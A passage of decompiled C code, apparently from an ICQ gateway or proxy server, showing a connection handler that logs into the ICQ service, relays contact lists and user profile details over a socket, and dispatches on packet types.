          if ( beginthreadex(0, 0, Handle_connection, v17, 0, 0) )
          {
            dword_421010(dword_4266F8);
            ++dword_426724;
            sub_408770(v29);
            dword_42101C(dword_4266F8);
          }
          else
          {
            v30 = dword_421018();
            printf("Create thread failed with error: %i\n", v30);
          }
          addrlen = 16;
          v31 = accept(v14, &addr, &addrlen);
          v15 = v31;
          if ( v31 == -1 )
            goto LABEL_29;
          v5 = malloc;
        }
        printf("Memory allocation error!\n");
      }
      printf("Finished serving. Closing sockets and cleaning up...\n");
      shutdown(v14, 2);
      while ( recv(v14, &buf, 16, 0) > 0 )
        ;
      dword_421020(dword_4266F8);
      if ( Memory )
        free(Memory);
      free(dword_426730);
      free(dword_42672C);
      result = 0;
    }
  }
  return result;
}

//----- (004072A0) --------------------------------------------------------
int __stdcall Handle_connection(SOCKET *a1)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST14_4_0; // ST14_4@0
  unsigned int ST18_4_0; // ST18_4@0
  int ST1C_4_0; // ST1C_4@0
  int ST20_4_0; // ST20_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  int ST2C_4_0; // ST2C_4@0
  unsigned int ST30_4_0; // ST30_4@0
  int ST34_4_0; // ST34_4@0
  signed int ST38_4_0; // ST38_4@0
  int ST3C_4_0; // ST3C_4@0
  signed int ST40_4_0; // ST40_4@0
  int ST44_4_0; // ST44_4@0
  signed int ST48_4_0; // ST48_4@0
  signed int ST4C_4_0; // ST4C_4@0
  int ST50_4_0; // ST50_4@0
  int ST54_4_0; // ST54_4@0
  void *ST58_4_0; // ST58_4@0
  unsigned int v23; // ST58_4@1
  int v24; // edx@3
  int v25; // ebx@3
  char *v26; // edi@3
  unsigned __int32 v27; // ST58_4@3
  char *v28; // eax@9
  const char *v29; // ST50_4@9
  const char *v30; // ST54_4@9
  int v31; // ST58_4@9
  int v32; // ST58_4@11
  int v33; // ST58_4@14
  char *v34; // ecx@16
  int v35; // ST54_4@21
  int v36; // ST58_4@21
  int v37; // eax@22
  int v38; // ecx@22
  SOCKET v39; // ST4C_4@22
  const char *v40; // ST50_4@22
  int v41; // ST54_4@22
  int v42; // ST58_4@22
  int v43; // eax@24
  const char *v44; // ebx@26
  int v45; // ST58_4@26
  int v46; // esi@30
  signed int v47; // eax@32
  int v48; // eax@34
  int v49; // ebx@34
  size_t v50; // ST58_4@36
  int v51; // eax@38
  int v52; // ecx@40
  int v53; // ST4C_4@42
  int v54; // ST50_4@42
  int v55; // ST54_4@42
  void *v56; // ST58_4@42
  unsigned int v57; // ST4C_4@45
  signed int v58; // eax@46
  int v59; // edx@46
  signed int v60; // eax@48
  SOCKET v61; // esi@48
  unsigned int v62; // eax@50
  int v63; // eax@52
  int v66; // ST58_4@52
  char *v67; // eax@56
  int v68; // ST50_4@56
  int v69; // ST54_4@56
  int v70; // ST58_4@56
  char *v71; // eax@59
  char *v72; // eax@62
  char *v76; // eax@65
  unsigned int v77; // ST50_4@65
  int v78; // ST54_4@65
  int v79; // ST58_4@65
  int v84; // ST4C_4@67
  int v85; // ST50_4@67
  int v86; // ST54_4@67
  int v87; // ST58_4@67
  char *v88; // ecx@69
  signed int v89; // esi@72
  int v90; // edx@74
  signed int v91; // eax@76
  char *v92; // eax@79
  const char *v95; // ST58_4@79
  char v96; // al@82
  int v97; // ecx@83
  int v98; // esi@83
  char *v99; // eax@89
  signed int v103; // eax@91
  int v104; // eax@92
  int v105; // edi@92
  int v106; // eax@94
  char *v107; // esi@94
  int v108; // ST58_4@94
  int v109; // eax@96
  int v110; // eax@98
  int v111; // ST58_4@98
  char *v112; // eax@104
  int v115; // ST58_4@130
  SOCKET v117; // esi@1
  int v118; // ST58_4@1
  int v119; // ST58_4@1
  int v120; // edx@5
  char v121; // cl@10
  char v122; // dl@17
  SOCKET v123; // ebx@22
  int v124; // edx@24
  int v125; // eax@24
  unsigned __int16 v126; // ax@28
  SOCKET v127; // edx@28
  int v128; // ecx@28
  char v129; // dl@41
  int v130; // eax@42
  int v131; // esi@42
  void *v132; // eax@42
  void *v133; // ebx@42
  int v134; // ST58_4@42
  int v135; // ST58_4@42
  unsigned __int16 v136; // ax@44
  SOCKET v137; // edx@44
  int v138; // ebx@44
  unsigned int v139; // eax@45
  char v140; // cl@53
  int v141; // eax@54
  char *v142; // ebx@56
  char v143; // dl@57
  int v144; // eax@58
  __time64_t *v145; // ST58_4@58
  int v146; // eax@58
  char v147; // dl@60
  int v148; // eax@61
  char *v149; // ebx@62
  int v150; // ecx@62
  char v151; // dl@63
  char v152; // cl@66
  char *v153; // esi@78
  const char *v154; // ebx@78
  unsigned __int16 v155; // ax@78
  char *v156; // ebx@79
  char v157; // dl@80
  int v158; // eax@86
  char v159; // cl@90
  char v160; // cf@92
  char v161; // cl@95
  char v162; // cf@96
  int v163; // ecx@96
  char v164; // dl@99
  int v165; // eax@100
  unsigned int v166; // esi@101
  char *v167; // ebx@101
  int v168; // ebx@101
  const char *v169; // ST58_4@101
  char v170; // cl@105
  unsigned __int16 v171; // ax@107
  unsigned __int16 v172; // ax@112
  int (__stdcall *v173)(_DWORD); // eax@117
  int (__stdcall *v174)(_DWORD); // edx@124
  void *v175; // esi@130
  struct in_addr v176; // ST58_4@130
  char *v177; // eax@130
  int v178; // ST58_4@130
  const char *v179; // ST50_4@130
  int v180; // ST54_4@130
  int v181; // ST58_4@130
  SOCKET v182; // esi@130
  SOCKET v183; // ST54_4@130
  int v184; // ST58_4@130
  SOCKET v185; // ST58_4@130
  void *v186; // ST58_4@130
  void *v187; // ST58_4@130
  int v188; // ST58_4@130
  size_t v189; // ecx@130
  char *Memory; // [sp+3Ch] [bp-4DCh]@1
  unsigned int v191; // [sp+504h] [bp-14h]@1
  SOCKET *v192; // [sp+64h] [bp-4B4h]@1
  SOCKET s; // [sp+44h] [bp-4D4h]@1
  char v194; // [sp+180h] [bp-398h]@1
  char v195; // [sp+428h] [bp-F0h]@1
  int v196; // [sp+410h] [bp-108h]@1
  void *v197; // [sp+414h] [bp-104h]@1
  int v198; // [sp+418h] [bp-100h]@1
  int v199; // [sp+41Ch] [bp-FCh]@1
  char v200; // [sp+424h] [bp-F4h]@1
  int v201; // [sp+438h] [bp-E0h]@1
  int v202; // [sp+43Ch] [bp-DCh]@1
  signed int v203; // [sp+514h] [bp-4h]@1
  SOCKET v204; // [sp+408h] [bp-110h]@1
  int v205; // [sp+5Ch] [bp-4BCh]@1
  signed int v206; // [sp+7Ch] [bp-49Ch]@1
  int v207; // [sp+78h] [bp-4A0h]@1
  int v208; // [sp+68h] [bp-4B0h]@1
  int v209; // [sp+328h] [bp-1F0h]@1
  signed int v210; // [sp+344h] [bp-1D4h]@1
  char *DstBuf; // [sp+54h] [bp-4C4h]@3
  signed int v212; // [sp+F4h] [bp-424h]@3
  int v213; // [sp+F0h] [bp-428h]@3
  char v214; // [sp+E0h] [bp-438h]@3
  signed int v215; // [sp+110h] [bp-408h]@3
  int v216; // [sp+10Ch] [bp-40Ch]@3
  signed int v217; // [sp+FCh] [bp-41Ch]@3
  signed int v218; // [sp+12Ch] [bp-3ECh]@3
  int v219; // [sp+128h] [bp-3F0h]@3
  int v220; // [sp+118h] [bp-400h]@3
  signed int v221; // [sp+148h] [bp-3D0h]@3
  int v222; // [sp+144h] [bp-3D4h]@3
  signed int v223; // [sp+134h] [bp-3E4h]@3
  signed int v224; // [sp+164h] [bp-3B4h]@3
  int v225; // [sp+160h] [bp-3B8h]@3
  int v226; // [sp+150h] [bp-3C8h]@3
  signed int v227; // [sp+C4h] [bp-454h]@3
  int v228; // [sp+60h] [bp-4B8h]@3
  signed int v229; // [sp+9Ch] [bp-47Ch]@3
  int v230; // [sp+98h] [bp-480h]@3
  void *v231; // [sp+88h] [bp-490h]@3
  signed int v232; // [sp+B8h] [bp-460h]@3
  int v233; // [sp+B4h] [bp-464h]@3
  void *v234; // [sp+A4h] [bp-474h]@3
  signed int v235; // [sp+C8h] [bp-450h]@3
  __int16 v236; // [sp+CCh] [bp-44Ch]@3
  int v237; // [sp+C0h] [bp-458h]@3
  char v238; // [sp+CEh] [bp-44Ah]@3
  int v239; // [sp+D8h] [bp-440h]@3
  char Dest; // [sp+4F4h] [bp-24h]@9
  _BYTE v241[3]; // [sp+4F5h] [bp-23h]@11
  int v242; // [sp+2F0h] [bp-228h]@11
  int v243; // [sp+404h] [bp-114h]@14
  int v244; // [sp+30Ch] [bp-20Ch]@14
  signed int v245; // [sp+3ACh] [bp-16Ch]@21
  int v246; // [sp+40h] [bp-4D8h]@22
  char v247; // [sp+400h] [bp-118h]@22
  int v248; // [sp+198h] [bp-380h]@22
  int v249; // [sp+50h] [bp-4C8h]@22
  int v250; // [sp+19Ch] [bp-37Ch]@22
  int *v251; // [sp+4Ch] [bp-4CCh]@23
  int v252; // [sp+188h] [bp-390h]@30
  signed int v253; // [sp+48h] [bp-4D0h]@30
  int v254; // [sp+18Ch] [bp-38Ch]@30
  int v255; // [sp+58h] [bp-4C0h]@40
  void *v256; // [sp+3B4h] [bp-164h]@52
  char v257; // [sp+440h] [bp-D8h]@58
  char v258; // [sp+498h] [bp-80h]@61
  signed int v259; // [sp+16Ch] [bp-3ACh]@67
  unsigned __int16 v260; // [sp+178h] [bp-3A0h]@78
  int v261; // [sp+3C0h] [bp-158h]@85
  int v262; // [sp+394h] [bp-184h]@114
  signed int v263; // [sp+348h] [bp-1D0h]@119

  v191 = (unsigned int)&Memory ^ dword_426018;
  v117 = *a1;
  ST58_4_0 = (void *)16392;
  v192 = a1;
  s = v117;
  Memory = (char *)malloc((size_t)ST58_4_0);
  ST58_4_0 = &v194;
  loc_40A8E0(v118);
  ST58_4_0 = &v195;
  *(_DWORD *)&v194 = &off_421F5C;
  LOBYTE(v196) = 0;
  v197 = 0;
  v198 = 0;
  v199 = 0;
  v200 = 0;
  v201 = 0;
  v202 = 0;
  ftime64(v119);
  v203 = 0;
  v204 = v117;
  v205 = 0;
  v206 = 15;
  v207 = 0;
  LOBYTE(v208) = 0;
  setLoginHost("64.12.202.112", 0xDu, (int)&v208);
  ST58_4_0 = &v208;
  LOBYTE(v203) = 1;
  sub_401600((int)&v209, -1, 0, v23);
  v210 = 5190;
  if ( (unsigned int)v206 >= 0x10 )
  {
    ST58_4_0 = (void *)v208;
    operator delete(v23);
  }
  ST58_4_0 = (void *)16384;
  v25 = 0;
  DstBuf = (char *)malloc(v23);
  v212 = 15;
  v213 = 0;
  v214 = 0;
  v215 = 15;
  v216 = 0;
  LOBYTE(v217) = 0;
  v218 = 15;
  v219 = 0;
  LOBYTE(v220) = 0;
  v221 = 15;
  v222 = 0;
  LOBYTE(v223) = 0;
  v224 = 15;
  v225 = 0;
  LOBYTE(v226) = 0;
  v227 = -1;
  v228 = 0;
  v229 = 15;
  v230 = 0;
  LOBYTE(v231) = 0;
  v232 = 15;
  v233 = 0;
  LOBYTE(v234) = 0;
  v235 = 1;
  v236 = 0;
  v237 = 0;
  BYTE3(v227) = 0;
  v238 = 0;
  v239 = 0;
  v26 = Memory;
  ST58_4_0 = (void *)60;
  LOBYTE(v203) = 3;
  if ( recv_packet(Memory, v24, s, v27) <= 0 )
    goto LABEL_130;
  while ( 1 )
  {
    if ( *((_WORD *)v26 + 2) == 32 )
    {
      v120 = *((_WORD *)v26 + 3);
      ST58_4_0 = dword_42672C;
      ST54_4_0 = (int)(v26 + 8);
      v26[v24 + 8] = 0;
      strstr((const char *)ST54_4_0, (const char *)v27);
    }
    if ( *((_WORD *)v26 + 2) == 1 )
      break;
    ST58_4_0 = (void *)60;
    if ( recv_packet(v26, v24, s, v27) <= 0 )
      goto LABEL_130;
  }
  v26[*((_WORD *)v26 + 3) + 8] = 0;
  ST58_4_0 = *(void **)v26;
  ST54_4_0 = (int)"%u";
  ST50_4_0 = (int)&Dest;
  sprintf((char *)ST50_4_0, (const char *)ST54_4_0, v27);
  v28 = &Dest;
  v206 = 15;
  v207 = 0;
  LOBYTE(v208) = 0;
  do
    v121 = *v28++;
  while ( v121 );
  setLoginHost(&Dest, v28 - v241, (int)&v208);
  ST58_4_0 = &v208;
  LOBYTE(v203) = 4;
  sub_401600((int)&v242, -1, 0, v31);
  LOBYTE(v203) = 3;
  if ( (unsigned int)v206 >= 0x10 )
  {
    ST58_4_0 = (void *)v208;
    operator delete(v32);
  }
  v206 = 15;
  v207 = 0;
  LOBYTE(v208) = 0;
  if ( *((_WORD *)Memory + 3) )
  {
    v34 = Memory + 8;
    do
      v122 = *v34++;
    while ( v122 );
    setLoginHost(Memory + 8, v34 - (Memory + 9), (int)&v208);
    ST58_4_0 = &v208;
    LOBYTE(v203) = 6;
    sub_401600((int)&v244, -1, 0, v32);
    LOBYTE(v203) = 3;
    if ( (unsigned int)v206 < 0x10 )
      goto LABEL_21;
    ST58_4_0 = (void *)v208;
    goto LABEL_20;
  }
  LOBYTE(v243) = 1;
  setLoginHost("none", 4u, (int)&v208);
  ST58_4_0 = &v208;
  LOBYTE(v203) = 5;
  sub_401600((int)&v244, -1, 0, v32);
  LOBYTE(v203) = 3;
  if ( (unsigned int)v206 >= 0x10 )
  {
    ST58_4_0 = (void *)v208;
LABEL_20:
    operator delete(v33);
  }
LABEL_21:
  v26 = Memory;
  ST58_4_0 = *(void **)Memory;
  ST54_4_0 = (int)"ICQ UIN is %u\n";
  printf(v30, v33);
  v245 = 4000;
  if ( sub_40B400((int)&v194) )
  {
    v123 = s;
    ST58_4_0 = 0;
    ST54_4_0 = 8;
    ST50_4_0 = (int)v26;
    ST4C_4_0 = s;
    *((_DWORD *)v26 + 1) = 4;
    total_sent += send(ST4C_4_0, v29, v35, v36);
    ST58_4_0 = 0;
    ST54_4_0 = 9;
    ST50_4_0 = (int)v26;
    ST4C_4_0 = v123;
    v246 = (int)(v26 + 8);
    *(v26 + 8) = v247;
    *((_DWORD *)v26 + 1) = 65567;
    total_sent += send(v39, v40, v41, v42);
    v37 = v248;
    v38 = 0;
    v249 = 0;
    if ( ((v250 - v248) & 0xFFFFFFE0) > 0 )
    {
      v251 = 0;
      do
      {
        v124 = *(_WORD *)((char *)v251 + v37);
        v125 = v249;
        *(_DWORD *)v26 = v124;
        v43 = sub_406DC0(v125, (int)&v194, (int)&v208);
        if ( *(_DWORD *)(v43 + 20) >= 0x10u )
          v43 = *(_DWORD *)v43;
        v44 = (const char *)v246;
        ST58_4_0 = (void *)v43;
        sub_408AC0(v42);
        if ( (unsigned int)v206 >= 0x10 )
        {
          ST58_4_0 = (void *)v208;
          operator delete(v45);
        }
        v126 = strlen(v44);
        v127 = s;
        *((_WORD *)v26 + 3) = v126;
        ST58_4_0 = 0;
        ST54_4_0 = v126 + 8;
        ST50_4_0 = (int)v26;
        ST4C_4_0 = v127;
        *((_WORD *)v26 + 2) = 20;
        total_sent += send(v39, v40, v41, v42);
        v37 = v248;
        v251 += 8;
        v128 = v249++ + 1;
      }
      while ( v128 < (v250 - v248) >> 5 );
      v38 = 0;
    }
    v46 = v252;
    v249 = v38;
    v253 = -1;
    if ( (signed int)(((signed int)(v254 - v252 + ((unsigned __int64)(-1307163959i64 * (v254 - v252)) >> 32)) >> 8)
                    + ((unsigned int)(v254 - v252 + ((unsigned __int64)(-1307163959i64 * (v254 - v252)) >> 32)) >> 31)) > 0 )
    {
      v251 = 0;
      do
      {
        v47 = *(_WORD *)((char *)v251 + v46 + 56);
        if ( v47 != v253 )
        {
          ST58_4_0 = 0;
          ST54_4_0 = 8;
          ST50_4_0 = (int)v26;
          ST4C_4_0 = s;
          v253 = v47;
          *(_DWORD *)v26 = v47;
          *((_DWORD *)v26 + 1) = 21;
          total_sent += send(v39, v40, v41, v42);
        }
        v49 = v249;
        v48 = sub_406E00(v249, (int)&v194, (int)&v208);
        if ( *(_DWORD *)(v48 + 20) >= 0x10u )
          v48 = *(_DWORD *)v48;
        ST58_4_0 = (void *)v48;
        *(_DWORD *)v26 = atoi((const char *)v42);
        if ( (unsigned int)v206 >= 0x10 )
        {
          ST58_4_0 = (void *)v208;
          operator delete(v50);
        }
        v51 = sub_406E40(v49, (int)&v194, (int)&v208);
        if ( *(_DWORD *)(v51 + 20) >= 0x10u )
          v51 = *(_DWORD *)v51;
        v255 = v51;
        v52 = v51 + 1;
        do
          v129 = *(_BYTE *)v51++;
        while ( v129 );
        v130 = v51 - v52;
        v131 = v130 + 1;
        ST58_4_0 = (void *)(2 * (v130 + 1));
        v132 = malloc(v50);
        ST58_4_0 = (void *)v131;
        v133 = v132;
        ST54_4_0 = (int)v132;
        ST50_4_0 = -1;
        ST4C_4_0 = v255;
        ST48_4_0 = 0;
        ST44_4_0 = 65001;
        dword_421014(ST44_4_0, ST48_4_0, v39, v40, v41, v134);
        ST58_4_0 = 0;
        ST54_4_0 = 0;
        ST50_4_0 = v131;
        ST4C_4_0 = v246;
        ST48_4_0 = -1;
        ST44_4_0 = (int)v133;
        ST40_4_0 = 0;
        ST3C_4_0 = 1251;
        dword_421008(ST3C_4_0, ST40_4_0, ST44_4_0, ST48_4_0, v53, v54, v55, v135);
        ST58_4_0 = v133;
        free(v56);
        if ( (unsigned int)v206 >= 0x10 )
        {
          ST58_4_0 = (void *)v208;
          operator delete(v56);
        }
        v136 = strlen((const char *)v246);
        v137 = s;
        *((_WORD *)v26 + 3) = v136;
        ST58_4_0 = 0;
        ST54_4_0 = v136 + 8;
        ST50_4_0 = (int)v26;
        ST4C_4_0 = v137;
        *((_WORD *)v26 + 2) = 7;
        total_sent += send(v39, v40, v41, v42);
        v46 = v252;
        v251 += 92;
        v138 = v249++ + 1;
      }
      while ( v138 < (signed int)(((signed int)(v254 - v252 + ((unsigned __int64)(-1307163959i64 * (v254 - v252)) >> 32)) >> 8)
                                + ((unsigned int)(v254
                                                - v252
                                                + ((unsigned __int64)(-1307163959i64 * (v254 - v252)) >> 32)) >> 31)) );
    }
    ST58_4_0 = 0;
    ST54_4_0 = 8;
    ST50_4_0 = (int)v26;
    ST4C_4_0 = s;
    *(_DWORD *)v26 = 0;
    *((_DWORD *)v26 + 1) = 7;
    total_sent += send(v39, (const char *)ST50_4_0, ST54_4_0, v42);
    ST58_4_0 = 0;
    v139 = (unsigned int)time64((__time64_t *)v27) + 300;
    v255 = v139;
    if ( v139 )
    {
      while ( 1 )
      {
        ST58_4_0 = (void *)1;
        v58 = sub_416270((int)&v194, v27);
        if ( v58 != 1 )
        {
          if ( v58 != -2 )
            break;
        }
        v26 = Memory;
        v61 = s;
        ST58_4_0 = 0;
        v60 = recv_packet(Memory, v59, s, v27);
        if ( v60 < 0 )
        {
          if ( v262 )
          {
            if ( v262 != (_DWORD)&v194 )
            {
              sub_40C200(v262);
              if ( v262 )
              {
                v174 = (int (__stdcall *)(_DWORD))**(_DWORD **)v262;
                ST58_4_0 = (void *)1;
                v174(v27);
              }
              v262 = 0;
            }
          }
          if ( v263 >= 0 )
          {
            ST58_4_0 = (void *)v263;
            closesocket(v27);
            v263 = -1;
            goto LABEL_129;
          }
          break;
        }
        ST58_4_0 = 0;
        if ( v60 <= 0 )
        {
          if ( (signed int)time64((__time64_t *)v27) > v255 )
          {
            if ( v262 )
            {
              if ( v262 != (_DWORD)&v194 )
              {
                sub_40C200(v262);
                if ( v262 )
                {
                  v173 = (int (__stdcall *)(_DWORD))**(_DWORD **)v262;
                  ST58_4_0 = (void *)1;
                  v173(v27);
                }
                v262 = 0;
              }
            }
            if ( v263 >= 0 )
            {
              ST58_4_0 = (void *)v263;
              closesocket(v27);
              v263 = -1;
              goto LABEL_129;
            }
            break;
          }
        }
        else
        {
          v255 = (unsigned int)time64((__time64_t *)v27) + 300;
          v62 = *((_WORD *)v26 + 2);
          if ( v62 <= 0x21 )
          {
            switch ( v62 )
            {
              case 0u:
              case 0xCu:
              case 0x17u:
              case 0x1Bu:
                continue;
              case 2u:
                v228 = (v228 + 1) & 0x7FFF;
                v26[*((_WORD *)v26 + 3) + 8] = 0;
                ST58_4_0 = *(void **)v26;
                ST54_4_0 = (int)"%u";
                ST50_4_0 = (int)&Dest;
                sprintf((char *)ST50_4_0, (const char *)ST54_4_0, v27);
                v142 = DstBuf;
                ST58_4_0 = (void *)v246;
                sub_408B30((int)DstBuf, (const char *)v70);
                ST58_4_0 = 0;
                ST54_4_0 = 0;
                ST50_4_0 = 0;
                ST4C_4_0 = 0;
                ST48_4_0 = 3;
                ST40_4_0 = 15;
                ST3C_4_0 = 0;
                v253 = (signed int)&ST2C_4_0;
                LOBYTE(ST2C_4_0) = 0;
                setLoginHost(v142, strlen(v142), (int)&ST2C_4_0);
                LOBYTE(v203) = 7;
                v67 = &Dest;
                v251 = &ST10_4_0;
                LOBYTE(ST10_4_0) = 0;
                do
                  v143 = *v67++;
                while ( v143 );
                setLoginHost(&Dest, v67 - v241, (int)&ST10_4_0);
                LOBYTE(v203) = 3;
                v144 = sub_406CC0(
                         (int)&v257,
                         ST10_4_0,
                         ST14_4_0,
                         ST18_4_0,
                         ST1C_4_0,
                         0,
                         15,
                         ST28_4_0,
                         ST2C_4_0,
                         ST30_4_0,
                         ST34_4_0,
                         ST38_4_0,
                         ST3C_4_0,
                         ST40_4_0,
                         ST44_4_0,
                         ST48_4_0,
                         v57,
                         v68,
                         v69,
                         v70);
                LOBYTE(v203) = 8;
                sub_408640(v144, (int)&v231);
                LOBYTE(v203) = 3;
                sub_406E80((int)&v257);
                ST58_4_0 = 0;
                v146 = time64(v145);
                v253 = (signed int)&ST04_4_0;
                v239 = v146;
                sub_4086C0((int)&v231, (int)&ST04_4_0);
                if ( !sub_40C250(
                        (int)&v194,
                        ST04_4_0,
                        ST08_4_0,
                        ST0C_4_0,
                        ST10_4_0,
                        ST14_4_0,
                        ST18_4_0,
                        ST1C_4_0,
                        ST20_4_0,
                        ST24_4_0,
                        ST28_4_0,
                        ST2C_4_0,
                        ST30_4_0,
                        ST34_4_0,
                        ST38_4_0,
                        ST3C_4_0,
                        ST40_4_0,
                        ST44_4_0,
                        ST48_4_0,
                        v57,
                        ST50_4_0,
                        ST54_4_0,
                        v27) )
                {
                  ST58_4_0 = 0;
                  ST54_4_0 = 0;
                  ST50_4_0 = 0;
                  ST4C_4_0 = 1251;
                  ST48_4_0 = 1;
                  v253 = (signed int)&ST2C_4_0;
                  sub_401930((const void *)v246, (int)&ST2C_4_0);
                  LOBYTE(v203) = 9;
                  v71 = &Dest;
                  v251 = &ST10_4_0;
                  LOBYTE(ST10_4_0) = 0;
                  do
                    v147 = *v71++;
                  while ( v147 );
                  setLoginHost(&Dest, v71 - v241, (int)&ST10_4_0);
                  LOBYTE(v203) = 3;
                  v148 = sub_406CC0(
                           (int)&v258,
                           ST10_4_0,
                           ST14_4_0,
                           ST18_4_0,
                           ST1C_4_0,
                           0,
                           15,
                           ST28_4_0,
                           ST2C_4_0,
                           ST30_4_0,
                           ST34_4_0,
                           ST38_4_0,
                           ST3C_4_0,
                           ST40_4_0,
                           ST44_4_0,
                           ST48_4_0,
                           v57,
                           ST50_4_0,
                           ST54_4_0,
                           v27);
                  LOBYTE(v203) = 10;
                  sub_408640(v148, (int)&v231);
                  LOBYTE(v203) = 3;
                  sub_406E80((int)&v258);
                  v253 = (signed int)&ST04_4_0;
                  sub_4086C0((int)&v231, (int)&ST04_4_0);
                  sub_40C250(
                    (int)&v194,
                    ST04_4_0,
                    ST08_4_0,
                    ST0C_4_0,
                    ST10_4_0,
                    ST14_4_0,
                    ST18_4_0,
                    ST1C_4_0,
                    ST20_4_0,
                    ST24_4_0,
                    ST28_4_0,
                    ST2C_4_0,
                    ST30_4_0,
                    ST34_4_0,
                    ST38_4_0,
                    ST3C_4_0,
                    ST40_4_0,
                    ST44_4_0,
                    ST48_4_0,
                    v57,
                    ST50_4_0,
                    ST54_4_0,
                    v27);
                }
                continue;
              case 0xAu:
                v149 = DstBuf;
                v150 = *((_WORD *)v26 + 3);
                ST58_4_0 = (void *)v246;
                v26[v150 + 8] = 0;
                sub_408B30((int)v149, (const char *)v27);
                ST58_4_0 = *(void **)v26;
                ST54_4_0 = (int)"%u";
                ST50_4_0 = (int)&Dest;
                sprintf((char *)ST50_4_0, (const char *)ST54_4_0);
                ST54_4_0 = 15;
                ST50_4_0 = 0;
                v253 = (signed int)&ST40_4_0;
                LOBYTE(ST40_4_0) = 0;
                setLoginHost(v149, strlen(v149), (int)&ST40_4_0);
                LOBYTE(v203) = 11;
                v72 = &Dest;
                ST38_4_0 = 15;
                ST34_4_0 = 0;
                v251 = &ST24_4_0;
                LOBYTE(ST24_4_0) = 0;
                do
                  v151 = *v72++;
                while ( v151 );
                setLoginHost(&Dest, v72 - v241, (int)&ST24_4_0);
                LOBYTE(v203) = 3;
                sub_40D230(
                  &v194,
                  ST24_4_0,
                  ST28_4_0,
                  ST2C_4_0,
                  ST30_4_0,
                  ST34_4_0,
                  ST38_4_0,
                  ST3C_4_0,
                  ST40_4_0,
                  ST44_4_0,
                  ST48_4_0,
                  v57,
                  ST50_4_0,
                  ST54_4_0,
                  v27);
                continue;
              case 0xBu:
                ST58_4_0 = *(void **)v26;
                ST54_4_0 = (int)"%u";
                ST50_4_0 = (int)&Dest;
                sprintf((char *)ST50_4_0, (const char *)ST54_4_0, v27);
                ST58_4_0 = 0;
                v76 = &Dest;
                ST50_4_0 = 15;
                ST4C_4_0 = 0;
                v253 = (signed int)&ST3C_4_0;
                LOBYTE(ST3C_4_0) = 0;
                do
                  v152 = *v76++;
                while ( v152 );
                setLoginHost(&Dest, v76 - v241, (int)&ST3C_4_0);
                sub_40C6A0((int)&v194, (int)&v214, ST3C_4_0, ST40_4_0, ST44_4_0, ST48_4_0, v57, v77, v78, v79);
                if ( v259 == 1 )
                {
                  v88 = "Female";
                }
                else
                {
                  if ( v259 == 2 )
                    v88 = "Male";
                  else
                    v88 = "Unknown";
                }
                v89 = v223;
                if ( (unsigned int)v221 < 0x10 )
                  v89 = (signed int)&v223;
                v90 = v220;
                if ( (unsigned int)v218 < 0x10 )
                  v90 = (int)&v220;
                v91 = v217;
                if ( (unsigned int)v215 < 0x10 )
                  v91 = (signed int)&v217;
                ST58_4_0 = "None";
                ST54_4_0 = (int)"Unspecified";
                ST50_4_0 = (int)v88;
                ST4C_4_0 = v260;
                ST48_4_0 = v89;
                v153 = DstBuf;
                ST44_4_0 = v90;
                ST40_4_0 = v91;
                ST3C_4_0 = (int)"Nick: %s\r\nFirstname: %s\r\nLastname: %s\r\nAge: %d\r\nGender: %s\r\nHomecity: %s\r\nNotes: %s\r\n";
                ST38_4_0 = 16384;
                ST34_4_0 = (int)DstBuf;
                snprintf_c(
                  (char *)ST34_4_0,
                  ST38_4_0,
                  (const char *)ST3C_4_0,
                  ST40_4_0,
                  ST44_4_0,
                  ST48_4_0,
                  v84,
                  v85,
                  v86,
                  v87);
                v154 = (const char *)v246;
                ST30_4_0 = (unsigned int)v153;
                sub_408AC0(ST30_4_0);
                v155 = strlen(v154);
                *((_WORD *)Memory + 3) = v155;
                ST58_4_0 = 0;
                ST54_4_0 = v155 + 8;
                ST50_4_0 = (int)Memory;
                ST4C_4_0 = s;
                *((_WORD *)Memory + 2) = 3;
                total_sent += send(v57, (const char *)ST50_4_0, ST54_4_0, v27);
                continue;
              case 0xEu:
                v26[*((_WORD *)v26 + 3) + 8] = 0;
                ST58_4_0 = *(void **)v26;
                ST54_4_0 = (int)"%u";
                ST50_4_0 = (int)&Dest;
                sprintf((char *)ST50_4_0, (const char *)ST54_4_0, v27);
                v156 = DstBuf;
                ST58_4_0 = (void *)v246;
                sub_408B30((int)DstBuf, v95);
                ST58_4_0 = (void *)1;
                ST50_4_0 = 15;
                ST4C_4_0 = 0;
                v253 = (signed int)&ST3C_4_0;
                LOBYTE(ST3C_4_0) = 0;
                setLoginHost(v156, strlen(v156), (int)&ST3C_4_0);
                LOBYTE(v203) = 12;
                v92 = &Dest;
                ST34_4_0 = 15;
                ST30_4_0 = 0;
                v251 = &ST20_4_0;
                LOBYTE(ST20_4_0) = 0;
                do
                  v157 = *v92++;
                while ( v157 );
                setLoginHost(&Dest, v92 - v241, (int)&ST20_4_0);
                LOBYTE(v203) = 3;
                sub_40D300(
                  (int)&v194,
                  ST20_4_0,
                  ST24_4_0,
                  ST28_4_0,
                  ST2C_4_0,
                  ST30_4_0,
                  ST34_4_0,
                  ST38_4_0,
                  ST3C_4_0,
                  ST40_4_0,
                  ST44_4_0,
                  ST48_4_0,
                  v57,
                  ST50_4_0,
                  ST54_4_0,
                  v27);
                continue;
              case 0xFu:
                v96 = *(_BYTE *)v246;
                if ( *(_BYTE *)v246 < 13 )
                {
                  v98 = v96;
                  ST58_4_0 = 0;
                  ST54_4_0 = v96;
                  ST50_4_0 = (int)&v194;
                  if ( sub_410320(ST50_4_0, ST54_4_0, v27) )
                  {
                    ST58_4_0 = &v194;
                    if ( sub_40F160(v97, 0, v27) )
                      v261 = v98;
                  }
                }
                continue;
              case 0x12u:
                *((_WORD *)v26 + 2) = 19;
                v158 = *((_WORD *)v26 + 3);
                ST58_4_0 = 0;
                ST54_4_0 = v158 + 8;
                ST50_4_0 = (int)v26;
                ST4C_4_0 = v61;
                total_sent += send(v57, (const char *)ST50_4_0, ST54_4_0, v27);
                continue;
              case 0x16u:
                if ( *(_BYTE *)v246 < 35 )
                {
                  ST58_4_0 = (void *)*(_BYTE *)v246;
                  sub_406B00((int)&v194, v27);
                }
                continue;
              case 0x18u:
                ST58_4_0 = *(void **)v26;
                ST54_4_0 = (int)"%u";
                ST50_4_0 = (int)&Dest;
                sprintf((char *)ST50_4_0, (const char *)ST54_4_0, v27);
                v99 = &Dest;
                ST54_4_0 = 15;
                ST50_4_0 = 0;
